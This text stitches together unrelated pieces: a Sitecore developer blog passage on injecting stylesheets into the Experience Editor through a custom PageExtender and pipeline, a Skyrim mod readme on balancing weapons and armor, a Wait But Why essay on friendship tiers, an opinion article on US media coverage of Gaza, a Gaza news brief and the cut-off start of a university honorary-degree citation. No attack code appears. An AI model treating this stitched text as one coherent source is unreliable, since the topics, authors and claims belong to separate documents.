assembly. It was the processors that are used in the GetPageStylesheets pipeline. There are two important templates that are used by the code in processors. They are: Page-Stylesheet-File : This item allows you to select a single stylesheet from the file system to include in your app. : This item allows you to select a single stylesheet from the file system to include in your app. Page-Stylesheet-Folder: This item allows you to select a single folder from the file system. That folder should contain only stylesheets, but it doesn’t matter. The code will render out all the stylesheets that are in the selected folder, ignoring any other file type. The items based on either template need to be created under the PageSettings item for the everything to work correctly. Going back to the code, the GetFileNames processor was the first to catch my eye. The code gets the PageSettings item and then it’s passed to the StylesheetCollection for processing. The ProcessItem method in the StylesheetCollection loops the children of the PageSettings item and performs two checks: If the child item’s template is the Page-Stylesheet-File : The stylesheet’s path that is defined on the item is added to args.FileNames collection. : The stylesheet’s path that is defined on the item is added to args.FileNames collection. If the child item’s template is the Page-Stylesheet-Folder: The StylesheetCollection gets the path to the folder defined on the item and loops through the folder’s files. If the file is a stylesheet, the file path is added to the args.FileNames collection. If the file is a different type, it is ignored. It appears that it also processes any sub-directories as well. The end to this madness is relatively straightforward. The extension method: PageStylesheets located in the static class: SitecoreHelperExtensions is where all the magic happens. In this method, the GetPageStylesheetsArgs are set and then the getPageStylesheet pipeline is fired. The processors do their thing, finally BuildStylesheets has its moment to shine. It processes the args.FileNames collection. Looping thru the collection, it constructs the link tag for each stylesheet and sets the final value to args.HtmlString. The PageStylesheets returns the HtmlString and called on the PageCode view and rendered. Cool pipeline. I am glad I learned more about its functionality. I need to keep it in mind when I resume my custom Speak App. I was curious if anyone else blogged about this and of course someone did. August 25, 2015 Mark Servais posted: SPEAKing Aloud: Changing CSS. Great post. I wish I had searched for this a couple hours ago, it would have saved me some time. Unfortunately, this potential solution was a bust. The search continues. Potential Solution: A PageExtender, a Control and Pipeline Processors Every rendering on the Ribbon item renders in the Ribbon… makes sense. I mentioned that so we can cross off all solutions that involve custom views being placed on the Ribbon item. This also means we should stop considering the PageCode in hopes of finding a solution. We know that the page code controls everything on the Ribbon which lives in an iframe. If you go to a content page in the Experience Editor and inspect the page’s source, you’ll notice other code and markup. Interesting, I wonder what is controlling all that. Let’s explore that more. After searching for some unique words found in the source such as “scClientSettings”, I was led the ScriptResources.cs and the GetClientSettings extension method. Next, I needed to find what was calling this method. After a quick search, I found two files, WebEditRibbon.cs and RibbonWebControl.cs. WebEditRibbon: This is used in three of the PageExtenders: DebuggerExtender, PreviewExtender and WebEditPageExtender. However, there is a red flag… the WebEditRibbon is marked as Obsolete. I’m going to slowing back away from the WebEditRibbon and pretend I didn’t see it. RibbonPageExtender: This is located in the Sitecore.ExperienceEditor.Speak.Ribbon assembly. It’s related to the PageExtenders. When the RibbonPageExtender code runs, it fires the getExperienceEditorRibbon pipeline and the processor AddWebEditRibbon. AddWebEditRibbon: That processor created a new RibbonWebControl, sets a property. That object is then assigned to the args.Control. RibbonWebControl: There is a lot to this, but the part I’m interested in is the DoRender method. That method is writing out some of the stylesheets and other items seen in the page’s source. Cool. I think I have seen enough. I have an idea that just may solve my issue while achieving my goals of flexibility and Laissez-faire Sitecore items and files. My Solution After researching the code in the previous section, I decided to mimic a few things from that approach. I was going to cover rendering out both the Stylesheets and JavaScript but time is short. I am sacrificing the JavaScript code and code refactoring. I created a new PageExtender called “InjectAssetsPageExtender”. When the Insert runs, it fires off a custom pipeline called “renderPageArgs” located on line 15, The first processor in this pipeline is GetStylesheets. GetStylesheets: I borrowed the “sources” node section from a processor located around line 95 in the 001.Sitecore.Speak.Important.config. , I get the folder paths of the stylesheets from the config: I also borrowed some of the code from the GetFileNames processor located in the Sitecore.Speak.Client assembly, that is used in the GetPageScripts pipeline. After making a lot of quick edits, the code for GetStylesheets looks like: The method AddSource gets the values from the config. Path = path of the Stylesheet, deep = process subfolders, add additional stylesheets to the collection and pattern, this allows what file type are permitted to be added to the FilePaths collection. Next, it loops through the folder(s) defined in the config above, and adds the stylesheet paths to the FilePaths collection. After the method finishes, we assign the FilePaths list to args.FilePaths. Next up, AssignPageAssetsToControl. AssignPageAssetsToControl: If I had included the JavaScript functionality in this post, this file would have a larger role. Currently, it has one purpose and that is to instantiate a new RenderAssetsControl and assign the FilePaths list to the StylesheetList. RenderAssetsControl: Next we head back to the InjectAssetsPageExtender. InjectAssetsPageExtender: Line 16 calls AddControlToPage and passes in the args that now contains a valid, populated RenderAssetsControl control which is then added to the page using the “webedit” placeholder. The Configuration for this in its entirety looks like: If everything is set up correctly, you should be able to locate your CSS files by viewing the page’s source. This is what my source looks like: Other Files The Processor: The Args Since my first post covering this topic, Kamruz Jaman and I have discussed the PageExtenders and a few other things. Initially he informed me that PageExtenders no longer affect the Experience Editor since the Ribbon was moved into an iframe. I was excited that I was able to get a PageExtender to render outside the Ribbon and I needed to share. I opened Slack and messaged JammyKam my good news. If you know Kamruz, you can probably guess what he said. He figured out how to get the PageExtenders to work as well! 🎉 It’s like Christmas in July🎄. Kamruz showed me how he finally got it to work and it was different from my code. If you’re curious what Kamruz’s solution is, you can read about it here. It’s a great post. I am relieved I figured out a decent solution that met the requirements I set for myself. The code is more flexible than it had been and additional code can be added that would increase the flexibility. I had more planned, but I’m not sure if I want to spend more time on something that may become obsolete when SItecore 9 is released. Click here to watch the companion vlog explaining the code in greater detail. I hope you found this post informative. Thanks for reading. -My intention is to unify the weapon damage and armor ratings across all installed mods. This way you can add any new item and it will be balanced.The increase in damage and armor ratings is in correlation with the weight of an item. Items made of iron weight about half as much as dragonbone items and all the other materials are somewhere in between.Everything is optional and adjustable to let the user create a custom experience of the game.- change the base damage values for bow, onehanded and twohanded skill weapons- critical damage will be half normal damage (vanilla style)- change the base armor values for light and heavy skill armor- optional change robes and hoods clothing to light armor- optional make robes and hoods craftable- change material weights and therefore the resulting damage/armor rating- how much of each material is in an item can be adjusted, but has good default values- add a Boost to certain precious materials to make them more powerful- this is an optional setting to override the weights with random values (roleplaying purpose)- Weight = MatWeight*Parts- BoostValue = MatWeight*Boost- Armor = Min+Weight+BoostValue+-Randomnon-body armor will be 1/3 of body armor rating- Damage = Min+((Weight+BoostValue)*Speed)+-Random- Crit Damage = Damage/2- it runs for me without or with 200+ active mods- the min values should be greater than the random change, otherwise you might end up with a weapon of 0 damage or armor with 0 armor rating- click to install via Mod ManagerNMM:- run "Data"\SkyProc Patches\ArmoWeapUnizer\ArmoWeapUnizer.jar"MO:- activate the mod- open the "Data" tab and navigate to "SkyProc Patches/ArmoWeapUnizer"- right click on "ArmoWeapUnizer.jar" and choose "add as Executable"- run the patcher from the dropdown menuBOTH:- once the patch is ready, activate ArmoWeapUnizer.esp in NMM or MO as usual- deactivate ArmoWeapUnizer.esp- it does not run in SUM, please run it as a standalone Skyproccer- some robes/hoods appear as craftables in the list without values, they do not produce anything and are bogus or leftover armors from mods or the base game- very rarely either the armor or weapons thread may stop and the data is missing from the patch in the end, just rerun the patcher if this happens- Immersive Armors and Immersive Weapons introduces custom materials covered in this mod- Warmonger Armory works out of the box- Heavy Armory - New Weapons works out of the box- CCO introduces custom materials covered in this mod- WAFR introduces custom materials covered in this mod- you can add your own custom materials to the materials.ini file for compatibility- you can add your own keywords to the armor patch exclusion and/or the robes/hoods exclusion ini for compatibility*- get a materials.ini going that is close to vanilla values Wintermyst - Enchantments of Skyrim - comes with a lot of very fancy enchantments that can all be disenchanted and learned Xtended Loot - does enchant nearly every single item in the game, making crafting and disenchanting obsolete (disenchantment not possible)*every keyword in keywordsarmor.ini is inherited into keywordsrobes.ini. At the moment only IA-Keywords are additional in the robes ini, because the mod lets you change ingame the robes and hoods to light armor---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- https://www.youtube.com/watch?v=MWUJvTyl-m4 :) -A note about listicles: So we know a lot of people hate listicles and associate them with cheap, low-quality, traffic-driving, link-bait articles. But here’s the thing—a list is a great format for an article, and a format I was using on my old blog almost 10 years ago. In fact, my first listicle, 19 Things I Don’t Understand, was published in August of 2005, a year before Buzzfeed was even founded. Then, over the last few years, I watched in horror as one of my favorite formats decided to prostitute itself all over the internet as the default format for lazy articles. Anyway the point is, A) I was doing listicles before they were cool, and B) A list headline doesn’t mean it can’t be a high-quality article, so C) Wait But Why will make a listicle when it’s the best format for that post, and don’t be mad at us cause it’s not what it looks like. __________ When you’re a kid, or in high school, or in college, you don’t really work too hard on your friend situation. Friends just kind of happen. For a bunch of years, you’re in a certain life your parents chose for you, and so are other people, and none of you have that much on your plates, so friendships inevitably form. Then in college, you’re in the perfect friend-making environment, one that hits all three ingredients sociologists consider necessary for close friendships to develop: “proximity; repeated, unplanned interactions; and a setting that encourages people to let their guard down and confide in each other.” More friendships happen. Maybe they’re the right friends, maybe they’re not really, but you don’t put that much thought into any of it—you’re more of a passive observer. Once student life ends, the people in your life start to shake themselves into more distinct tiers. Something like this: At the top of your life mountain, in the green zone, you have your Tier 1 friends—those who feel like brothers and sisters. These are the people closest to you, those you call first when something important happens, those you love even when they suck, who make speeches at your wedding, whose best and worst sides you know through and through, and whose relationship with you is eternal—even if you go months or years without hanging out, nothing has changed when you find yourself together again. Unfortunately, depending on how things went down in your youth, Tier 1 can also contain your worst enemies, the people who can ruin your day with one subtle jab that only they could word so brilliantly hurtfully, the people you feel a burning resentment for, or jealousy of, or competition with. Tier 1 is high stakes. Below, in the yellow zone, are your Tier 2 friends—your Pretty Good friends. Pretty Good friends are a much calmer situation than your brothers and sisters on Tier 1. You might be invited to their wedding, but you won’t have any responsibilities once you’re there. If you live in the same city, you might see them every month or two for dinner and have a great time when you do, but if one of you moves, you might not speak for the next year or two. And if something huge happens in their life, there’s a good chance you’ll hear it first from someone else. Towards the bottom of the mountain in the orange zone, you have your Tier 3 friends—your Not Really friends. You might grab a one-on-one drink with one of them when you move to their city, but then it surprises neither of you when five years pass and drink #2 is still yet to happen. Your relationship tends to exist mostly as part of a bigger group or through the occasional Facebook like, and it doesn’t even really stress you out when you hear that one of them made $5 million last year. You may also try to sleep with one of these people at any given time. The lowest part of Tier 3 begins to blend indistinguishably into your large group of acquaintances (the pink zone)—those people you’d stop and talk to if you saw them on the street or would maybe email for professional purposes, but whom you’d never hang out with one-on-one. When you hear that something bad happens to one of these people, you pretend to be sad but you don’t actually care. Finally, acquaintances gradually blend into the endless world of strangers. And depending on who you are and how things shook out in those first 25 years, the way your particular mountain looks will vary. For example, there’s Walled-Off Wally: And Phony Phoebe, who tries to be everyone’s best friend and ends up with a lot of people mad at her: Even Unabomber Ulysses has a mountain: Whatever your particular mountain looks like, eventually the blur of your youth is behind you, the dust has settled, and there you are living your life—when one day, usually around your mid or late 20s, it hits you: It’s not that easy to make friends anymore. Sure, you’ll make new friends in the future—at work, through your spouse, through your kids—but you won’t get to that Tier 1 brothers level, or even to Tier 2, with very many of them, because people who meet as adults don’t tend to get through the 100+ long, lazy hangouts needed to reach a bond of that strength. As time goes on, you start to realize that the 20-year frenzy of not-especially-thought-through haphazard friend-making you just did was the critical process of you making most of your lifelong friends. And since you matched up with most of them A) by circumstance, and B) before you really knew yourself yet, the result is that your Tier 1 and Tier 2 friends—those closest to you—fall in a very scattered way on what I’ll call the Does This Friendship Make Sense graph: So who are all those close friends in the three non-ideal quadrants? As time goes on, most of us tend to have fewer friends in Quadrants 2-4, because A) people mature, and B) people have more self-respect and higher standards for what they’ll deal with as they get older. But the fact is, friendships made in the formative years often stick, whether they’re ideal or not, leaving most of us with a portion of our Tier 1 and Tier 2 friendships that just don’t make that much sense. We’ll get to the great, Quadrant 1 friendships later in the post, but in order to treat those relationships properly, we need to take a thorough look at the odd ones first. Here are 10 common ones— 1) The Non-Question-Asking Friend You’ll be having a good day. You’ll be having a bad day. You’ll be happy at work. You’ll quit your job. You’ll fall in love. You’ll catch your new love cheating on you and murder them both in an act of incredible passion. And it doesn’t matter, because none of it will be discussed with The Non-Question-Asking Friend, who never, ever, ever asks you anything about your life. This friend can be explained in one of three ways: 1) He’s extremely self-absorbed and only wants to talk about himself 2) He avoids getting close to people and doesn’t want to talk about either you or himself or anything personal, just third-party topics 3) He thinks you’re insufferably self-absorbed and knows if he asks you about your life, you’ll talk his ear off about it Giving you the benefit of the doubt here, we’re left with two possibilities. Possibility #1 isn’t fun at all and this person should not be allowed space on Tier 1. The green part of the mountain is sacred territory, and super self-absorbed people shouldn’t be permitted to set foot up there. Put him on Tier 2 and just be happy you’re not dating him. Possibility #2 is a pretty dark situation for your friend, but it can actually be fun for you. I have a friend who I’ve hung out with one-on-one about four times in the last year, and he has no idea Wait But Why exists. I’ve known him for 14 years and I’m not sure he knows if I have siblings or not. But I actually enjoy the shit out of this friend—sure, there’s a limit on how close we’ll ever be, but without ever spending time talking about our lives, we actually end up in a lot of fun, interesting conversations. 2) The Friend in the Group You Can’t Be Alone With Under Any Circumstances In almost every group of friends, there’s one pair who can’t ever be alone together. It’s not that they dislike each other—they might get along great—it’s just that they have no individual friendship with each other whatsoever. This leaves both of them petrified of the lumbering elephant that appears in the room anytime they’re alone together. They’re way too on top of shit to ever end up in the car alone together if a group is going somewhere in multiple cars, but there are smaller dangers afoot—like being the first two to arrive at a restaurant or being in a group of three when the third member goes to the bathroom. The thing is, sometimes it’s not even that these people couldn’t have an individual friendship—it’s just that they don’t, and neither one has the guts to try to make that leap when things have gone on for so long as is. 3) The Non-Character-Breaking Friend You Have to be “On” With This is a friend who’s terrified of having an earnest interaction, and as such, your friendship with him is always in some kind of skit—you always have to be on when you’re interacting. Sometimes the skit is that you both burst out laughing at everything constantly. He can only exist with you in “This is so fucking hilarious it’s too much!” mode, so you have to be in some kind of joke-telling or sarcastic mode yourself at all times or he’ll become socially horrified. Another version of this is the “always and only ironic” friend, who you really bum out if you ever break that social shell and say something earnest. This type of person hates earnest people because someone being earnest dares him to come out from under his ironic safety blanket and let the sun touch his face, and no fucking thanks. A third example is the “You’re great, I’m great, ugh why is everyone else so terrible and not great like us” friend. Of course, she doesn’t really think you’re perfectly great at all—if she were with someone else, you’d be one of the voodoo dolls on the table to be dissected and scoffed at. The key here is that the two of you must be on a team at all times while interacting. The only comfortable mode for this person is bonding with you by building a little pedestal for you both to stand on while you criticize everyone else. You can either play along and everything will go smoothly, even though you’ll both despise yourselves and each other the whole time, or you can commit the ultimate sin and have the integrity to disagree with the friend or defend a non-present party the friend criticizes. Doing this will shatter the fragile team vibe and make the friend recoil and say something quietly like, “Hm…yeah…I guess.” The friend now respects you for the first time and will also criticize you extra hard next time she’s playing her pedestal game with a different friend. What these all have in common is the friend has tall walls up, at least toward you, and so she builds a little skit for you two to hang out in to make sure any authentic connection can be avoided. Sometimes that person only does this out of her own social anxiety and can become a great, authentic friend if you can just stomp through the ice. Other times, the person is just hopelessly scared and closed off and there’s no hope and you have to get out. In any case, I can’t stand these interactions and am in a full panic the entire time they’re happening. 4) The Double-Obligated Friendship Think of a friend you get together with from time to time, which usually happens after a long and lackluster email or text exchange during which you just can’t find a time that works for both of you—and you’re never really happy when these plans are being made and not really psyched when you wake up and it’s finally on your schedule for that day. Maybe you’re aware that you don’t want to be friends with that person, or maybe you’re delusional about it—but what you’re most likely not aware of is that they probably don’t want to see you either. There are lopsided situations where one person is far more interested in hanging out than the other (we’ll get to those later), but in the case we’re talking about here, both parties often think it’s a lopsided situation without realizing that the other person actually feels the same way—that’s why it takes so long to schedule a time. When someone’s excited about something, they figure out how to get it into their schedule—when they’re not, they figure out ways to push it farther into the future. Sometimes you don’t think hard enough about it to even realize you don’t like being friends with the person, and other times you really like the idea or the aesthetic of being friends with that particular person—being friends with them is part of your Story. But even in cases where you’re perfectly lucid about your feelings—since neither of you knows the other feels the same way and neither has the guts to just cut things off or move it down a tier, this friendship usually just continues along for eternity. 5) The Half Marriage Somewhere in your life, you’re probably part of a friendship that would be a marriage if only the other person weren’t very, very, extremely not interested in that happening. 1 for 2 on yes votes—just one vote away—so close. You might be on either side of this—and either way it’s one of the least healthy parts of your life. Fun! If you’re on the if only side of things, probably the right move is to get your fucking shit together? Ya know? This friendship is one long, continuous rejection of you as a human being, and you’re just wallowing there in your yearning like a sobbing little seal. Plus, duh, if you gather your self-respect and move on with your life, it’ll raise their perception of your value and they might actually become interested in you. If you’re on the oh yeah definitely not side of the situation, here’s what’s happening—there’s this suffering human in the world, and you know they’re suffering, and you fucking love it, because it gives your little ego a succulent sponge bath every time you hang out with them. You enjoy it so much you probably even lead them on intentionally, don’t you—you make sure to keep just enough ambiguity in the situation that their bleeding heart continues to lather your ego from head to toe at your whim. Both of you—go do something else. 6) The Historical Friend A Historical Friend is someone you became friends with in the first place because you met when you were little and stayed friends through the years, even though you’re a very weird match. Most old friends fall somewhat into this category, but a true Historical Friend is someone you absolutely would not be friends with if you met them today. You’re not especially pleased with who they are, and they feel the same way about you. You’re not each other’s type one bit. Unfortunately, you’re also extremely close friends from when you were four, and you’re both just a part of each other’s situation forever, sorry. 7) The Non-Parallel Life Paths Friendship Throughout childhood and much of young adulthood, most people your age are in the same life stage as you are. But when it comes to advancing into full adulthood, people do so at widely varying paces, which leads to certain friends suddenly having totally different existences from one another. Anyone within three years of 30 has a bunch of these going on. It’s just a weird time for everyone. Some people have become Future 52-year-olds, while others are super into being Previous 21-year-olds. At some point, things will start to meld together again, but being 30-ish is the friendship equivalent of a kid going through an awkward pubescent stage. There are darker, more permanent Non-Parallel Life Path situations. Like when Person A starts to become a person who rejects material wealth, partially because she genuinely feels that pursuing an artistic path matters more and partially because she needs a defense mechanism against feeling envious of richer people, and Person B’s path makes her scoff at people who pursue creative paths, partially because she genuinely thinks expressing yourself is an inherently narcissistic venture and partially because she needs a defense mechanism against feeling regretful that she never pursued her creative dreams—these two will have problems. They may still like each other, but they can’t be as close as they used to be—each of their lives is a bit of a middle finger at the other’s choices, and that’s just awkward for everyone. It’s not always that bad—but to survive an Off-Line Life Situation, friends need to be really different people who don’t at all want the same things out of life. This friendship is a distant cousin of The Morally Off-Line Friendship— 8) The Frenemy The Frenemy roots very hard against you. And I’m not talking about the friends that will feel a little twinge of pleasure when they hear your big break didn’t pan out after all or that your relationship is in bad shape. I’m not even talking about someone who secretly roots against you when they’re not doing so well at some area of life and it hurts them to see you do better. Those are bad emotions, but they can exist in people who are still good friends. I’m talking about a real Frenemy—someone who really wants bad things for you. Because you’re you. You and the Frenemy usually go way back, have a very deep friendship, and the trouble probably started a long time ago. There’s a lot of complex psychology going on in these situations that I don’t fully understand, but my hunch is that a Frenemy’s resentment is rooted in his own pain, or his own shortcomings, or his own regret—and for some reason, your existence stings them in these places hard. A little less dark but no less harmful is a bully situation where a friend sees some weakness or vulnerability in you and she enjoys prodding you there either for sadistic reasons or to prop herself up. A Frenemy knows how to hurt you better than anyone because you’re deeply similar in some way and she knows how you’re wired, and she’ll do whatever she can to bring you down any chance she gets, often in such a subtle way it’s hard to see that it’s happening. Whatever the reason, if you have a Frenemy in your life, kick her toxic ass off your mountain, or at least kick her down the mountain—just get her off of Tier 1. A Frenemy has about a tenth of the power to hurt you from Tier 2 as she does from Tier 1. 9) The Facebook Celebrity Friend This person isn’t a celebrity to anyone other than you, you creep. You know exactly who I’m talking about—there are a small handful of people whose Facebook page you’re uncomfortably well-acquainted with, and those people have no idea that this is happening. On the plus side, there are people out there you haven’t spoken to in seven years who know all about the new thing you’re trying with your hair, since it goes both ways. This is a rare Tier 3 friend, or even an acquaintance, who qualifies as an odd friendship, because you found a way to make it unhealthy even though you’re not actually friends. Well done. 10) The Lopsided Friendship There are a lot of ways a friendship can be lopsided. Someone can be higher on their friend’s mountain than vice versa. Someone can want to spend more time with a friend than vice versa. One member can consistently do 90% of the listening and only 10% of the talking, and in situations where most of the talking is about life problems, what’s happening is a one-sided therapy situation, with a badly off-balance give-and-take ratio, and that’s not much of a friendship—it’s someone using someone else. And then there’s the lopsided power friendship. Of course, this is a hideous quality in many not-great couples, but it’s also a prominent feature of plenty of friendships. A near 50/50 friendship is ideal, but anything out to 65/35 is fine and can often be attributed to two different styles of personality. It’s when the number gap gets even wider that something less healthy is going on—something that doesn’t reflect very well on either party. There are some obvious ways to assess the nature of a friendship’s power dynamic—does one person cut in and interrupt the other person while they’re talking far more than the other way around? Is one person’s opinion or preference just kind of understood to carry more weight than the other’s? Is one person allowed to be more of a dick to the other than vice versa? Another interesting litmus test is what I call the “mood determiner test.” This comes into play when two friends get together but they’re in very different moods—the idea is, whose mood “wins” and determines the mood of the hangout. If Person A is in a bad mood, Person B is in a good mood, and Person B reacts by being timid and respectful of Person A’s mood, leaving the vibe down there until Person A snaps out of it on her own—but when the moods are reversed, Person B quickly disregards her own bad mood and acts more cheerful to match Person A’s happy mood—and this is how it always goes—then Person A is in a serious power position. Not All Friendships Are Grim… In the Does This Friendship Make Sense graph above, the friendships we just discussed are all in Quandrants 2, 3, or 4—i.e. they’re all a bit unenjoyable, unhealthy, or both. That’s why this has been depressing. On the bright side, there’s also Quadrant 1—all the friendships that do make sense. No friendship is perfect, but those in Quadrant 1 are doing what friendships are supposed to do—they’re making the lives of both parties better. And when a friendship is both in Quadrant 1 of the graph and on Tier 1 of your mountain—that friendship is a rock in your life. Rock friendships don’t just make us happy—they’re the thing (along with rock family and romantic relationships) that makes us happy. Investing serious time and energy into those is a no-brainer long term life strategy. But in the case of most people over 25—at least in New York—I think A) not enough time is carved out as dedicated friend time, and B) the time that is carved out is spread too thin, and too evenly, among the Tier 1 and Tier 2 friendships in all four quadrants. I’m definitely guilty of this myself. There’s something I call the Perpetual Catch-Up Trap. When you haven’t seen a good friend in a long time, the first order of business is a big catch-up—you want to know what’s going on in their career, with their girlfriend, with their family, etc., and they want to catch up on your life. In theory, once this happens, you can go back to just hanging out, shooting the shit, and actually being in the friendship. The problem is, when you don’t make enough time for good friends, seeing them only for a meal and not that often—you end up spending each get-together catching up, and you never actually get to just enjoy the friendship or get far past the surface. That’s the Perpetual Catch-Up Trap, and I find myself falling into it with way too many of the rocks in my life. So I think there are two orders of business: 1) Think about your friendships, figure out which ones aren’t in Quadrant 1, and demote them down the mountain. I’m not suggesting you stop being friends with those people—you still love them and feel loyal to them, and old friends are critical to hold onto—but if the friendships aren’t that healthy or enjoyable, they don’t really deserve to be in your Tier 1, and you probably shouldn’t be in theirs. Most importantly, doing this clears up time to… 2) Dedicate even more time to the Quadrant 1, Tier 1 rocks in your life. If you’re in your mid-20s or older, your current rocks are probably the only ones you’ll ever have. Your rock friendships don’t warrant 2x the time you give to your other friends—they warrant 5 or 10x. And keep in mind that seeing one of them for an hour-long meal isn’t really enough—your rocks deserve serious, dedicated time so you can stay close. So go make plans with them. ___________ If you’re into Wait But Why, sign up for the Wait But Why email list and we’ll send you the new posts right when they come out. It’s a very unannoying list, don’t worry. If you’d like to support Wait But Why, here’s our Patreon. ___________ If you liked this, check out: How to Pick Your Life Partner 10 Types of 30-Year-Old Single Guys Why Generation Y Yuppies Are Unhappy The Great Perils of Social Interaction -Here are a few questions you won’t hear asked of the parade of Israeli officials crossing US television screens during the current crisis in Gaza: What would you do if a foreign country was occupying your land? What does it mean that Israeli cabinet ministers deny Palestine’s right to exist? What should we make of a prime minister, Binyamin Netanyahu, who as opposition leader in the 1990s addressed a rally under a banner reading “Death to Arafat” a year after the Palestinian leader signed a peace accord with Israel? These are contentious questions, to be sure, and with complicated answers. But they are relevant to understanding of the Israeli-Palestinian conflict today. They also parallel the issues routinely raised by American journalists with Palestinian officials, pressing to consider how the US would react if it were under rocket fire from Mexico, to explain why Hamas won’t recognise Israel and to repudiate Palestinian anti-Semitism. But it’s a feature of much mainstream journalism in the US, not just an issue of coverage during the last three weeks of the Gaza crisis, that while one set of questions gets asked all the time, the other is heard hardly at all. In years of reporting from and about Israel, I’ve followed the frequently robust debate in its press about whether Netanyahu really wants a peace deal, about the growing power of right-wing members inside the Israeli cabinet opposed to a Palestinian state, about the creeping air of permanence to the occupation. So it has been all the more striking to discover a far narrower discourse in Washington and the notoriously pro-Israel mainstream media in the US at a time when difficult questions are more important than ever. John Kerry, the US secretary of state, and a crop of foreign leaders have ratcheted up warnings that the door for the two-state solution is closing, in no small part because of Israel’s actions. But still the difficult questions go unasked. Take Netanyahu’s appearance on CBS’s Face the Nation on Sunday. The host, Bob Schieffer, permitted the Israeli leader to make a lengthy case for the his military’s ground attack, guiding him along with one sympathetic question after another. Finally, after describing Netanyahu’s position as “very understandable”, Schieffer asked about dead Palestinian civilians – but only to wonder if they presented a public relations problem in “the battle for world opinion”. As if Schieffer’s position wasn’t already blindingly clear, he went on to quote former prime minister Golda Meir’s line that Israelis can never forgive Arabs “for forcing us to kill their children”. As way of balance, CBS followed with a short clip of an interview by Charlie Rose with the Hamas leader, Khaled Meshaal, who was pressed on his willingness to recognise Israel. There has been fine reporting from on the ground in Gaza by courageous American journalists who have laid bare the price being paid by ordinary Palestinians. That, in turn, has prompted some stiff questioning in American TV studios of Israeli officials about the scale of civilian deaths and shelling of schools and hospitals. Some pro-Israel American pundits admit to have becoming “less pro-Israel”. But the broader framework of how the conflict is presented in the US is more troubling. ‘We have a media scandal that we need to expose,’ says Rula Jebreal. Still via CNN Former MSNBC contributor Rula Jebreal drew widespread attention to the media divide when she condemned NBC News on air, on MSNBC, for pulling its only Arab-American correspondent, Ayman Mohyeldin, out of Gaza, only to reinstate him because of the backlash. “We are disgustingly biased on this issue,” she said. She has a point. An analysis by Punditfact of CNN coverage during the first two weeks of the latest Gaza crisis showed that appearances by Israeli officials outnumbered Palestinian officials by more than four-to-one. There were substantially more interviews with what Punditfact called Palestinian “laymen”, but they included the relatives of a Palestinian-American beaten by Israeli soldiers that offered little insight into the bigger picture. All appearances by Palestinian officials were outnumbered by interviews with a single man: Israel’s former ambassador to the US, Michael Oren, whom CNN hired as a Middle East analyst earlier this year. The network presents Oren as a kind of neutral interpreter, when just a few months ago he was vigorously defending Israel on behalf of Netanyahu’s government. His limited value as an analyst was swiftly exposed by his assertion that Hamas was trying to get Israel to kill as many Palestinian children as possible as part of a media strategy. The number of guests booked or sources quoted has never been balanced on this issue in the mainstream American press, but more important is the nature of interviews and the broader coverage when Israel and Palestine are not thrust into the news by a fresh surge in violence. At one extreme is Fox News, where last week Sean Hannity shouted down a Palestinian guest, Yousef Munayyer, because he would not condemn Hamas as a terrorist organisation, then proceeded to terminate the interview. Munayyer, director of the Jerusalem Fund in Washington, has appeared repeatedly on CNN where he is treated more respectfully. But he told me he is frequently brought on to answer accusations from the Israeli side, rather than explain the Palestinian perspective in the way that Israeli officials and commentators are allowed to lay out their case. “Most of the time I go on it is to be put on the defensive, in response to a conversation that’s framed around Israel’s security concerns first and foremost,” Munayyer said. Palestinians should face difficult questions about recognition of Israel, about Hamas’s policies and actions, about how peace would work in practice. But on the other side, I’ve rarely seen a major channel match that kind of routine close questioning of Israeli officials about the position of a government packed with ministers hostile to a Palestinian state, who advocate annexation of much of the occupied territories and who propose second-class citizenship for Arabs. Israel’s preferred representatives in the US media – Oren, plus the Israeli ambassador to the UN, Ron Prosor, and Netanyahu’s spokesman, Mark Regev – all project the country as a liberal democracy, an unwilling occupier that is thirsting for peace. But that does not fit with the views of leading politicians back in Israel. Naftali Bennett, the economy minister and leader of the most powerful political party on the right, has said: “I will do everything in my power to make sure [the Palestinians] never get a state.” Danny Danon, the increasingly powerful chairman of the central committee of Netanyahu’s Likud party, openly opposes a Palestinian state and has said the prime minister doesn’t believe in it either. “I want the majority of the land with the minimum amount of Palestinians,” Danon, whom Netanyahu just fired as deputy defense minister for being critical of opposition to a ceasefire, told me last year. And Israel’s ultranationalist foreign minister, Avigdor Lieberman, wants a good chunk of Israel’s Arab population stripped of citizenship. Perhaps none of these men will get what they want. But they hold important levers of power, and good journalism would seem to demand that probing questions get asked about where Israel is headed under such leadership. That kind of piercing American journalism can be found, mostly in foreign-policy journals and long magazine articles, such as David Remnick’s insightful report in the New Yorker last year on the rising political power of Jewish settlers. But much of the press demonstrates a frightening lack of inquiry, and if the mainstream media won’t do it, others are increasingly willing to do it for them. It’s no secret that younger Americans do not rely on the nightly news, cable networks or printed newspapers for information in the way many older people do. The internet has opened access to foreign news media, which often has a different take in Israel, and has opened up a stream of links to to first-hand accounts as well as writing by analysts and activists who offer insights and information wilfully ignored by the Bob Schieffers and Sean Hannitys of the world. There is evidence of a shift in public opinion, mostly generational: a Pew poll this month showed falling support for Israel among younger Americans. Over 65s backed the Jewish state by 60% to just 9% support for the Palestinians. Among young adults, aged 18-29, just 44% were behind Israel with backing for the Palestinians rising to 22%. As opinion shifts, it will be harder to go on presenting just one side of the story. • This article was amended on 1 August 2014. An earlier version said Netanyahu had addressed rallies in the 1990s under a banner reading “Death to Arabs”. That has been corrected to say that Netanyahu addressed a rally under a banner reading “Death to Arafat” a year after the Palestinian leader signed a peace accord with Israel. • Comments on this article are set to remain open for 24 hours from the time of publication but may be closed overnight (UK time) -GAZA CITY (Ma'an) -- Gazan authorities on Wednesday issued notices to restaurants and hotels in the Strip banning establishments from throwing New Years Eve celebrations, a Gaza police spokesperson said. Ayman al-Butneiji told Ma'an the notices were issued because New Years Eve celebrations, in the eyes of the Hamas-run Gazan government, "contradict" Islam, and "are mainly an imitation of the west.” He also highlighted the "pains and sacrifices" that come with living in Gaza due to Israel's "imposed siege" on the Strip. Palestinian culture encourages communities to refrain from having celebrations during times of death or upheaval. In Bethlehem, Christmas celebrations were toned-down significantly out of respect for the more than 120 Palestinian families who have lost loved ones since the start this year's upheaval in October. Since the start of October, municipalities across the occupied West Bank have also asked bars and restaurants to refrain from having large parties or celebrations out of respect for the seriousness of the current political situation. -Commencement May 18, 2003 Honorary Degree: Religious Studies Conferred on Bernard J. Cooke Candidate presented by: Philip Rossi, S.J., Professor and Chair of Theology Bernard J. Cooke, internationally recognized theologian and educator, has been a pioneer in shaping Catholic theological education in colleges and universities for more than forty years. Joining the Marquette faculty in 1957, he soon instituted an undergraduate theology major and revised the 